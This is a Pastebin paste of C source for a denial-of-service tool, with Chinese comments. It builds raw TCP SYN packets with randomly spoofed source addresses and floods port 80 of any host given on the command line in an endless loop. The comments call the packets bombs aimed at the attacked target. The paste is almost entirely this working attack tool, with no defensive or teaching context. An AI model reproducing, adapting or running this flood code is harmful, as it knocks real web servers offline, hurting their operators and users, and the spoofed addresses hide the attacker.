Advertisement
DASBD72

Dos

Oct 19th, 2020
2,265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.65 KB | None | 0 0
  1. /******************** DOS.c *****************/
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. #include <netinet/ip.h>
  5. #include <netinet/tcp.h>
  6. #include <stdlib.h>
  7. #include <errno.h>
  8. #include <unistd.h>
  9. #include <stdio.h>
  10. #include <netdb.h>
  11. #define DESTPORT 80 /* 要攻擊的端口(WEB) */
  12. #define LOCALPORT 8888
  13. void send_tcp(int sockfd,struct sockaddr_in *addr);
  14. unsigned short check_sum(unsigned short *addr,int len);
  15. int main(int argc,char **argv)
  16. {
  17. int sockfd;
  18. struct sockaddr_in addr;
  19. struct hostent *host;
  20. int on=1;
  21. if(argc!=2)
  22. {
  23. fprintf(stderr,"Usage:%s hostnamena",argv[0]);
  24. exit(1);
  25. }
  26. bzero(&addr,sizeof(struct sockaddr_in));
  27. addr.sin_family=AF_INET;
  28. addr.sin_port=htons(DESTPORT);
  29. /*看成是獲取你要ping的目標的網絡地址,argv[1]是ip的話直接a to n,是域名的話就要gethostbyname了*/
  30. if(inet_aton(argv[1],&addr.sin_addr)==0)
  31. {
  32. host=gethostbyname(argv[1]);
  33. if(host==NULL)
  34. {
  35. fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));
  36. exit(1);
  37. }
  38. addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  39. }
  40. /**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
  41. sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  42. if(sockfd<0)
  43. {
  44. fprintf(stderr,"Socket Error:%sna",strerror(errno));
  45. exit(1);
  46. }
  47. /******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
  48. setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
  49. /**** 沒有辦法,只用超級護用戶纔可以使用原始套接字 *********/
  50. setuid(getpid());
  51. /********* 發送炸彈了!!!! ****/
  52. send_tcp(sockfd,&addr);
  53. }
  54. /******* 發送炸彈的實現 *********/
  55. void send_tcp(int sockfd,struct sockaddr_in *addr)
  56. {
  57. char buffer[100]; /**** 用來放置我們的數據包 ****/
  58. struct ip *ip;
  59. struct tcphdr *tcp;
  60. int head_len;
  61. /******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
  62. head_len=sizeof(struct ip)+sizeof(struct tcphdr);
  63. bzero(buffer,100);
  64. /******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
  65. ip=(struct ip *)buffer;
  66. ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
  67. ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
  68. ip->ip_tos=0; /** 服務類型 **/
  69. ip->ip_len=htons(head_len); /** IP數據包的長度 **/
  70. ip->ip_id=0; /** 讓系統去填寫吧 **/
  71. ip->ip_off=0; /** 和上面一樣,省點時間 **/
  72. ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
  73. ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
  74. ip->ip_sum=0; /** 校驗和讓系統去做 **/
  75. ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
  76. /******* 開始填寫TCP數據包 *****/
  77. tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
  78. tcp->source=htons(LOCALPORT);
  79. tcp->dest=addr->sin_port; /** 目的端口 **/
  80. tcp->seq=random();
  81. tcp->ack_seq=0;
  82. tcp->doff=5;
  83. tcp->syn=1; /** 我要建立連接 **/
  84. tcp->check=0;
  85. /** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
  86. while(1)
  87. {
  88. /** 你不知道我是從那裏來的,慢慢的去等吧! **/
  89. ip->ip_src.s_addr=random();
  90. /** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
  91. /** 下面這條可有可無 */
  92. tcp->check=check_sum((unsigned short *)tcp,
  93. sizeof(struct tcphdr));
  94. sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  95. }
  96. }
  97. /* 下面是首部校驗和的算法,偷了別人的 */
  98. unsigned short check_sum(unsigned short *addr,int len)
  99. {
  100. register int nleft=len;
  101. register int sum=0;
  102. register short *w=addr;
  103. short answer=0;
  104. while(nleft>1)
  105. {
  106. sum+=*w++;
  107. nleft-=2;
  108. }
  109. if(nleft==1)
  110. {
  111. *(unsigned char *)(&answer)=*(unsigned char *)w;
  112. sum+=answer;
  113. }
  114. sum=(sum>>16)+(sum&0xffff);
  115. sum+=(sum>>16);
  116. answer=~sum;
  117. return(answer);
  118. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement